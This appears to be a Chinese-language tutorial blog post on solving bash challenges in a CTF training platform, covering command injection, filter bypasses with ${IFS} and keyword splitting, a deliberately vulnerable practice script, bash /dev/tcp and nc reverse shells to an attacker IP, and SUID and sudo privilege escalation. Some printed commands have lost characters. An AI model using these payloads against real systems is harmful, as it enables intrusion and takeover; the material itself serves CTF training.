
做CTF做到 bash 这一块很多人第一反应是不屑不就是 Linux 命令吗ls、cat、grep 谁不会。可真上了安鸾渗透测试平台 CTF 系列的 bash 题目第一道题就能把我卡了半小时——不是命令不熟而是压根没搞懂出题人想让我以什么身份、在哪个目录、用什么姿势去拿那个 flag。这篇文章想把安鸾渗透测试平台 CTF 系列里 bash 相关题目的门道聊透从底层逻辑到实操命令再到翻车记录给准备入门 CTF 的朋友一条能直接照着练的路。bash 在 CTF 里向来不是“最炫”的考点不像 pwn 要挖漏洞也不像 crypto 要啃数学但它胜在无孔不入。命令注入、反弹 shell、提权、日志分析、脚本审计哪一条线上都有 bash 的影子。安鸾的平台把这一类题目单独拆成序列我觉得是个挺聪明的设计它逼着你在不了解完整攻击链的情况下先把“Shell 的解释执行机制”吃透。这篇文章不会从零教你 ls 怎么用而是把 bash 类题目怎么审、怎么试、怎么拿 flag以及路上那些让人想砸键盘的坑一次性讲明白。1. 理解 bash 类 CTF 题目的底层逻辑1.1 为什么 CTF 要单独考 bash我见过不少新手上来就啃 SQL 注入、XSS结果遇到一个命令执行点就手足无措原因就是 bash 底子太薄。CTF 把 bash 单独拎出来考不是为了让你背命令而是因为 bash 是几乎所有 Linux 攻击路径的“最后一段路”你有漏洞点也好有 WebShell 也好最后都逃不过要在 Shell 环境里操作。更关键的是bash 本身就是一个充满“解释器诡计”的东西。很多人以为命令是逐行执行的其实不是。bash 在执行一条命令之前会先做一系列展开花括号展开、波浪号展开、变量替换、命令替换、算术展开、分词、路径名展开、引号去除。这一堆步骤里任意一步没有理解透你在 CTF 里就容易被出题人绕进去。比如我见过一道题把 flag 放在环境变量里然后让你通过一个只能执行 echo 的接口去读。如果你不知道${!var}的间接展开或者不知道env可以列出环境变量就会卡死。这类题目考的不是“黑客技巧”而是你对 bash 解析顺序的理解。安鸾的 bash 系列恰恰就抓住了这一点。它不考偏门工具而是考那些你天天在用的$、$0、单引号双引号、IFS、重定向、管道这些基础中的基础。很多题看起来简单但真的动手做才会发现自己平时敲命令全凭肌肉记忆根本没过脑子。1.2 安鸾平台 bash 系列题目的出题思路我在安鸾渗透测试平台上大概过了一遍 CTF 系列的 bash 题目感受是它的难度梯度设计得比较合理。入门阶段的题基本就是给你一个 Linux 环境让你通过提示找到隐藏文件、读取特定内容考察的是文件查找、权限判断和文本处理。这类题适合 CTF 入门选手能帮你把 команды 过一遍。再往上一个阶段开始出现“伪命题”式的结构给你一个看起来正常的脚本但实际上存在变量引用错误、过滤绕过不完整、或者某个命令的返回值没有被检查。你必须读懂脚本逻辑才能找到绕过的方式。这时候考的就是 bash 脚本审计能力了。高级一点的题目会结合 Web 入口给你一个命令执行点比如ping参数、host参数然后让你利用 bash 特性去拿 flag。这类题就非常贴近真实渗透测试里的命令注入场景也是我觉得整个系列里最有价值的部分。因为它要求你不仅会敲命令还要会构造 payload会在空格被过滤时用${IFS}会在关键字被过滤时用$拼接字符串会利用/dev/tcp反弹一个 shell 出来。我自己的体会是安鸾这个系列的出题人非常喜欢“环境变量”和“过滤规则”这两件事。很多题表面上考命令实际上考的是你对 bash 解析顺序的掌握。你只有理解了“bash 会在执行前先做变量展开然后才做路径名展开”才能明白为什么某些 payload 要写成那样。1.3 解题之前先建立“flag 路径”思维做 bash 类题目我踩过最大的坑是上来就开始输命令结果输了一堆没用的东西浪费时间。后来我养成了一个习惯先停下来在脑子里把一条链路画出来。不是画拓扑图而是回答几个问题。flag 到底放在哪里是文件内容、环境变量、进程内存还是数据库如果是文件它在哪个目录、什么权限如果是环境变量哪个进程能读到如果是进程内存我该用strings /proc/pid/environ还是gdb我现在是以什么权限在操作是 www-data、是一个普通用户还是 root不同权限能触碰的资源完全不同。很多 bash 题目会刻意把 flag 文件权限设为-rw-------然后由另一个用户拥有逼着你去做横向或纵向提权。这个时候你光懂 bash 命令没用你得懂用户切换、SUID 位、sudo 规则。命令输入点有没有过滤输出回显有没有被截断这是最关键的。过滤规则决定了你能不能用空格、能不能用分号、能不能用重定向符。输出回显决定你是正面读取 flag还是需要把 flag 写到某个你能访问的地方或者反弹到自己的机器上。我把这个思路叫“flag 路径思维”。做任何一道 bash 题先花一分钟把这几个问题想清楚再动手敲命令。这个习惯让我从“乱试型选手”变成了“有节奏型选手”在安鸾的 bash 系列上通关率明显提高。2. 环境准备把 bash 战场搭起来2.1 本地环境选择Linux 原生、macOS 还是 Git Bash很多人问我要不要再装一个虚拟机才能练 bash。我的回答是看你的操作系统。如果你本身用 Linux 或者 macOS那就直接用自带的终端。macOS 默认的 shell 虽然现在是 zsh但 zsh 大部分语法和 bash 兼容写脚本时在开头加上#!/bin/bash一样能跑。如果你之前从来没注意过自己用什么 shell可以先敲一下echo $SHELL看看。Windows 用户就麻烦一点。我最早练 bash 的时候还在用 Windows当时试过几种方案WSL、Git Bash、Cygwin。这里重点说一下 Git Bash因为它在 CTF 环境里出现频率很高而且安装简单。Git 官网上有安装包一路下一步就行。装完后在开始菜单里打开 “Git Bash”你会得到一个模拟 bash 环境的窗口常见命令如ls、grep、find都能用但不完全是 GNU 工具链部分命令的参数会有差异。我建议如果你打算长期投入还是装一个真正的 Linux 虚拟机或者 WSL。因为 Git Bash 在处理/dev/tcp、权限模拟、nc、cron这些和 CTF 强相关的功能时是残缺的。安鸾平台上的题目多数是在真实 Linux 容器里跑的你本地和它环境不一致就可能出现“在我电脑上明明可以到靶场上就不行”的尴尬。我用 Git Bash 练了两周最后还是老老实实开了个 Ubuntu 虚拟机效率立即翻倍。2.2 必备命令与调试工具准备做 bash 题我不建议带太多花哨工具反而是最基础的几个要练到闭着眼睛能打。echo和printf是最常用的输出来源也是构造 payload 时的主力。cat、less、head、tail用来读文件grep用来过滤内容find和locate用来搜文件strings用来从二进制里提取可打印字符串。这些命令不是背参数而是要知道它们的输出格式、返回值、以及在不加参数时的默认行为。还有一个很容易被忽略但极其重要的工具组合set -x和bash -x。当你看不懂一个脚本在干什么的时候用bash -x script.sh执行bash 会把每一行展开后的实际命令打到屏幕上。这相当于给了你一双透视眼。比如脚本里写了$cmd $arg你看源码不知道$cmd到底是啥但加上-x一跑真相大白。另外type和which要分清。which ls告诉你 ls 在哪type ls告诉你 ls 是不是别名、函数、内置命令还是外部命令。在 CTF 里经常遇到环境变量PATH被篡改或者某个命令被定义成函数的情况这时候type比which可靠得多。我强烈建议你本地准备一个“命令速查笔记”不是抄网上的而是边做题边记录。比如find / -perm -4000 2/dev/null这条命令我一开始记不住参数顺序刷了三次题后才真正理解它的含义找所有带 SUID 位的文件。自己总结一遍比看十篇教程都管用。2.3 手写一个最小可运行靶场光看不练等于白看。安鸾平台上虽然有现成的题目但你也可以本地搭一个最简单的 bash 靶场专门练命令注入和权限绕过。我把自己常用的搭建方法写在这里整个过程十几分钟就够了。先准备一台 Linux 机器虚拟机、容器都行。创建一个目标用户比如target然后建一个只有它能读的 flag 文件sudo useradd -m -s /bin/bash target echo flag{local_test_flag_2025} | sudo tee /home/target/flag.txt sudo chown target:target /home/target/flag.txt sudo chmod 600 /home/target/flag.txt接着模拟一个不安全的“命令执行入口”。写一个非常简单的脚本来模拟 Web 命令执行点只做一个拼接操作不检查任何东西#!/bin/bash read -p input: cmd bash -c ping -c 1 $cmd这个脚本就是典型的命令注入入口。你输入127.0.0.1; cat /home/target/flag.txt就会被拼接到ping -c 1 127.0.0.1; cat /home/target/flag.txtflag 就被读出来了。本地练这个脚本比直接上平台更安全也能让你看清自己每一步的命令到底发生了什么。如果你还想练提权就给某个程序设置 SUID 位或者配一个/etc/sudoers规则。比如sudo chmod 4755 /usr/bin/find然后试着用find命令去执行/bin/sh。这种方式在真实靶场里很常见本地先练熟到了安鸾的 bash 高级题里就不慌了。3. 安鸾 CTF 系列 bash 题的解题实操3.1 命令注入类题目的完整拆解命令注入是 bash 系列里最核心的题型也是真实渗透测试中最高频出现的问题之一。出题模式通常是给你一个输入框后端把输入拼到某条命令里再执行。你输入的内容会被当作命令的一部分这就是注入点。我记得安鸾上有一道典型的题参数是 IP后端执行的是ping -c 1 $input。看起来人畜无害但如果你输入127.0.0.1; whoami分号会结束当前命令然后执行whoami。如果后端没有过滤你就能看到命令执行结果的回显。比一定要弄清楚常见的命令分隔符各自的行为;无论前一条命令成功还是失败都会执行后一条命令只有前一条命令成功才执行后一条||只有前一条命令失败才执行后一条$(...)和反引号 先执行子命令把结果作为字符串传给外层换行符也可以作为命令分隔符有些过滤规则只查单行内是否有特殊字符就漏掉了换行实际做题时我习惯先做“探测”而不是直接上利剑 payload。先输入一个类似127.0.0.1; id的 payload看回显里有没有 uid 信息。如果有说明分号没有被过滤。然后继续探测空格是否被过滤、反引号是否被过滤、是否被过滤。这个过程就和打游戏探视野一样必须一步一步来。如果空格被过滤了最常见的绕过方式是用${IFS}。bash 的IFS是内部字段分隔符默认包含空格、Tab 和换行。cat${IFS}/etc/passwd在分词时会被拆成cat和/etc/passwd效果和空格一样。注意这种写法在某些场景下会因为变量展开的时机问题失效所以还得准备多种绕过姿势。比如使用 Tab 制表符或者用${IFS%??}这种去掉两个字符的写法能得到单独的空白字符。还有一类过滤是关键字黑名单比如把cat、flag、/给过滤掉。这时候可以用 bash 的拼接技巧cat、c\at、$*、$都能让关键字在字符串拼接后重新变成cat。$在命令行里是位置参数但在无参情况下表示空字符串所以/bin/cat$ /flag也能绕过简单的字符串匹配。我曾在安鸾的一道题里后端把flag这个词直接替换成空字符串。我把 payload 写成flaflagg替换之后反而变成了flag。这种“一次替换”的过滤思路在真实环境里也很常见做题时如果发现目标词消失不妨试试双写。3.2 变量与参数处理类题目bash 变量这块是 CTF 高频考点但很多人不喜欢记。原因很简单平时敲命令很少自己定义变量看到$()、${}、$、$?就头大。可真到了安鸾的 bash 题里这些不起眼的小东西就是拿 flag 的关键。先说单引号和双引号的区别。单引号里的所有字符都做字面处理$不会展开反引号也不会执行。双引号则会展开变量和命令。这个区别在构造命令注入 payload 时至关重要。比如输入是echo $input如果你输入$FLAG双引号会先让 bash 展开变量把${FLAG}的内容输出来这恰恰让你能读到环境变量里的 flag。$这个变量在无参脚本里是空的但它有个特殊的本事可以作为字符串拼接的中转。如果题目过滤了危险关键字你可以用/???/???这种 glob 方式但更简单的是把命令拆开然后通过变量拼接。比如aca; bt; $a$b /flag如果过滤是纯字符串匹配这对它来说就是“变量赋值”和“无害参数”根本不会命中。还有一种题型是“flag 藏在环境变量里”但不给你env的输出。这时候你要利用 bash 的变量间接展开${!var}会先展开$var的值再把这个值当作变量名继续展开。比如有一个变量A的值是FLAG那么${!A}就等价于$FLAG。在某些只能执行简单命令的场景用这种方式可以绕过不能执行env的限制。另外位置参数$0、$1、$2也经常被拿来大做文章。在脚本里$0是脚本名$1是第一个参数。CTF 里有一个经典 trick在一条命令中bash -c bash -i /dev/tcp/ip/port 01里的bash -c后面的字符串是作为位置参数传入的你就可以通过调整单双引号的位置来让过滤规则失效。这块我建议新手做一个小练习自己写一个脚本接收一个字符串参数然后把它放进echo ...里输出。再尝试用各种变量展开方式绕过引号。练上几次你对 bash 变量机制的理解会超过很多工作两三年的运维。3.3 反弹 Shell 与权限切换类题目反弹 Shell 是 bash 类题目里最有“黑客感”的环节也是最接近真实渗透测试的环节。简单来说反弹 Shell 就是让目标机器主动连回你控制的机器给你一个交互式 shell。为什么要主动连因为很多时候目标机器在内网或者防火墙挡住了入站连接但出站连接通常放行所以必须反向连接。bash 本身内置了/dev/tcp这个伪设备可以直接发起 TCP 连接。反弹 Shell 的标准姿势是bash -i /dev/tcp/192.168.1.100/4444 01这句话拆开看bash -i启动一个交互式 shell把标准输出和标准错误都重定向到/dev/tcp/...01再把标准输入也重定向到同一个 socket。这样你从监听端敲的命令会进入目标机器的 bashbash 的输出也会回到你的监听端。在 CTF 靶场里目标机器可能没有/dev/tcp也可能/bin/bash不存在。这就需要你掌握多种替代方案。比如用nc -e /bin/bash ip port或者用mkfifo创建命名管道配合nc或者/dev/tcp来转发 I/O。我建议每个入门选手至少把三种方法背下来因为真实环境里很难预料哪些工具被裁剪掉了。有了 shell 之后接下来就是权限切换。bash 题目里最常见的提权方式是 SUID 提权。你可以先运行find / -perm -4000 2/dev/null找出所有带 SUID 位的程序。如果某个程序属于 root并且允许你通过它执行命令那就可能直接拿到 root shell。经典例子是find、vim、less、python等程序带 SUID 位时都能通过内置命令启动/bin/sh。sudo 配置也是重点。拿到普通用户 shell 后运行sudo -l看看当前用户有哪些免密 sudo 权限。如果允许你以 root 身份运行某个命令而这个命令又能执行系统调用那提权就是一两步的事。比如sudo awk BEGIN {system(/bin/sh)}。这些内容在安鸾 bash 系列的高阶题里都有对应练习你可以在可控靶场里大胆尝试。我想特别提醒一句反弹 Shell 和提权只能在你自己有授权的靶场或虚拟环境里操作。安鸾渗透测试平台本身就是供大家做 CTF 练习用的这类平台上的实验对象都是虚拟环境你可以放心练。但千万不要把同样的手法用到未经授权的真实服务器上那是违法的也违背了安全测试的基本伦理。3.4 获取 flag 的常见路径拿 flag 是 CTF 的最终目标但很多 bash 题不会把 flag 摆在明面上等你cat。你需要形成一套自己的“flag 搜索方法论”。第一步是看当前目录。ls -la不要只ls隐藏文件往往就在眼前。我第一次在安鸾做题时flag 就藏在一个名为.bash_history的文件里因为只敲了ls没敲ls -la白白浪费了十分钟。第二步是全盘搜。如果确定 flag 是文件内容可以试试grep -r flag{ / 2/dev/null不过这种暴力搜索在真实靶场里可能因为权限不足或目录过大而失败所以更好的方式是先find / -name *flag* 2/dev/null找文件名含 flag 的文件。第三步是检查环境变量和进程信息。flag 可能被写进环境变量也可能出现在某个后台进程的命令行参数里。查看进程可以用ps aux查看某一进程的环境变量可以用strings /proc/PID/environ。还有更隐蔽的flag 可能被写进某个临时文件的扩展属性里需要getfattr才看得到。第四步是结合 bash 特性。比如 flag 是一个文件但被某个进程占用着你可以通过/proc/PID/fd/里的文件描述符去读。再比如 flag 文件名非常奇怪但你可以用通配符*配合cat *把它读出来。总之不要只盯着cat一个命令多想想 bash 给了你什么能力。我自己有一个经验拿到一台靶机后第一时间记录当前用户、当前目录、系统版本、有哪些常用工具。这几条信息能帮你判断后面该走哪条路。就像 CTF 里的“信息收集”虽然婆婆妈妈但真的能救命。4. 翻车现场与排查技巧4.1 常见报错与修复做题过程中最让人崩溃的不是题目难而是环境问题。我整理了几个在 bash 题目里高频出现的报错每个我都亲身遇到过而且都真实记录了修复方式。报错信息原因处理方法-bash: unzip: command not found环境里没有安装 unzip用apt install unzip或yum install unzip安装如果没权限用 Python 的zipfile模块或bsdtar解压-bash: crontab: command not foundcron 工具未安装或不在 PATH安装cron或crontabs也可直接查看系统级 crontab 文件/etc/crontab/bin/bash^M: bad interpreter: no such file or directory脚本文件是 Windows 换行符 CRLF用sed -i s/\r$// script.sh或dos2unix script.sh转换换行符bash: permission denied脚本没有执行权限chmod x script.sh或者直接用bash script.sh执行command not found连ls都找不到PATH 被清空或覆盖用绝对路径/bin/ls或export PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCRLF 那个问题尤其阴间我曾经把一个写好的 exploit 脚本从 Windows 传到靶机上一运行就报bad interpreter我还以为是靶机不给 bash折腾半天才发现是文件尾巴上多了\r。以后凡是 Windows 上写的脚本我传上去之前都会先执行一遍sed -i s/\r$//。crontab not found在 bash 题里也经常出现因为有些靶场为了减小体积不装 cron 工具但/var/spool/cron目录里其实还留着任务配置文件。遇到这种情况别急着装工具先看看系统的 crontab 配置往往能从任务里发现敏感文件路径或者 flag 提示。4.2 典型翻车实录我讲三个自己真实踩过的坑每一个都让我记忆深刻。第一个坑是“拿到 shell 后无法交互”。当时我用命令注入点反弹了一个 shell监听端确实收到了连接但敲命令没有回显。排查了很久发现是攻击机上我用nc -lvp 4444监听但反弹命令里用了bash -i /dev/tcp/ip/port 01。这个命令本身没问题问题在于我的监听端终端把回车当成了^M导致命令发出去全是 CRLF。后来我换用rlwrap nc -lvp 4444加上stty raw -echo才解决了交互问题。现在我做反弹 shell监听端一定会优先用ncat或者socat避免这种尴尬。第二个坑是“在管道里读 flag 结果为空”。命令行写的是cat /flag | grep flag{结果什么也没输出。我以为是 flag 不存在后来发现是权限问题cat /flag虽然没报错但输出被 stderr 吃掉了而管道只传递 stdout。实际上我应该看 stderr 里的 Permission denied。这个坑教会我一件事只要命令异常立即用21把错误输出合并进来别只傻看管道结果。第三个坑是“变量被提前展开”。一道题让我通过某个入口注入一个值入口源码大概是bash -c echo $input。我输入${FLAG}心想会被展开成内容。但结果什么都没输出因为外部 bash 在解析echo $input时已经把$input展开成了我输入的字符串内层 bash 再执行时我的${FLAG}作为字面量传给 echo根本没有展开机会。这个地方我卡了半小时才想明白也促使我把 bash 解析顺序彻底背了一遍外层展开先于内层执行所以嵌套 bash 时要注意展开时机。4.3 避坑清单我把做题过程中的一些教训浓缩成一张清单每一条都是真实代价换来的。先确认当前用户和权限。拿到 shell 第一句话十有八九是id不是ls。别迷信一个 payload 能用到底。空格被过滤、分号被过滤、关键字被过滤每种情况都要准备至少两种绕过姿势。多用21。报错信息往往比正常回显更有价值。读文件时注意文件类型。如果cat出来一堆乱码别慌先file filename看看是不是二进制或压缩包然后用strings提取。写入 shell 或脚本时注意换行符。Windows 下编辑过的文件务必先转成 Unix 换行。反弹 shell 时要留意目标机器有没有/dev/tcp和nc。最保险的姿势是mkfifo搭配/dev/tcp。过滤规则永远不要只看一次。试完第一层过滤再试试绕过多层过滤的情况。5. 个人经验与成长路径5.1 从 bash 题到真实渗透测试很多朋友问我刷 CTF 的 bash 题到底对真实渗透测试有没有用。我的回答非常肯定有用而且是最直接的那种。真实渗透测试里最常遇到的“拿权限”场景往往不是 0day 漏洞而是开发者在代码里把用户输入拼到了系统命令里。你在安鸾 CTF 系列 bash 题里反复训练的命令注入、反弹 shell、提权手法在授权的红队项目和渗透测试项目中都能直接复用。但我也得说清楚CTF 题目更理想化真实环境更脏。真实系统里有杀软、有 WAF、有沙箱你的 payload 可能要经历无数轮编码和拆分。bash 题目训练的是“原子能力”对 Shell 本身的理解对解析顺序的敏感对命令的掌控力。这些能力不会因为环境复杂而失效反而会在单点突破时体现出来。因此我建议刚入门的 CTF 选手不要急着一口气把所有 bash 题刷完。每做完一道题打开bash -x看看脚本实际执行过程甚至可以翻一翻题目的源码。理解出题人写了什么比跑通一百个 payload 更有价值。5.2 值得持续练习的 bash 进阶方向bash 这门语言看似老但深挖下去内容非常多够你练很久。我自己目前还在持续练习的方向列出来供你参考。第一个方向是 bash 脚本审计。给你一个几百行的 bash 脚本快速找出其中的第三方命令注入点、变量覆盖点、路径穿越点。这可不是简单活需要对 bash 的每一个特性都了如指掌。比如eval的使用、${var:-word}的默认值、${var/pattern/string}的替换行为都可能被利用。第二个方向是命令执行绕过。真实 WAF 过滤很严格空格、斜杠、关键字、甚至是括号都会被过滤。你需要在脑子里维护一个大型绕过字典$IFS、Tab、$、${PS2}、通配符、printf编码、xxd反转等等。这个方向没有尽头因为过滤规则永远在更新。第三个方向是提权技巧。SUID、sudo 配置错误、环境变量劫持比如 PATH 劫持和 LD_PRELOAD、内核漏洞。每一类提权都需要大量的命令熟练度和系统底层知识。bash 只是入口最终你会发现自己把 Linux 用户管理、权限模型、动态链接器都摸了个遍这才是 CTF 给一个人带来的最大财富。第四个方向是结合 Python、Perl 等解释器。很多 bash 受限环境里没有常用工具但可能有 Python。你可以用python3 -c import pty; pty.spawn(/bin/bash)来升级一个完全交互式 shell也可以用 Python 快速实现一个 HTTP 服务来下载工具。bash 类题目做到后期其实是在锻炼你“用一切可用的资源在既定目标下完成操作”的综合能力。5.3 最后再分享一个小技巧写到最后分享一个我用了很久的小习惯做题时永远开两个终端。一个终端专门敲命令、看输出另一个终端用来记录环境和时刻变化的变量值。比如在安鸾平台上我会把当前用户、当前目录、找到的敏感文件、试过的 payload 都记在第二个终端里。这样就算靶机连接断掉我也能从记录里快速恢复上下文而不是从头再来。另外遇到复杂的 bash 命令时我习惯先拆开执行一步步看效果。比如写一条长管道命令我会先跑前半段确认输出正确后再接后半段。这样做虽然慢但能准确知道每一步发生了什么排查问题的时间反而更短。练 bash 这个事没有什么高深捷径。它不像某些门类需要天赋只要多用、多拆、多踩坑能力一定会稳步上升。如果你也在安鸾渗透测试平台的 CTF 系列上刷 bash 题目希望这篇内容能帮你少走我当初走过的弯路。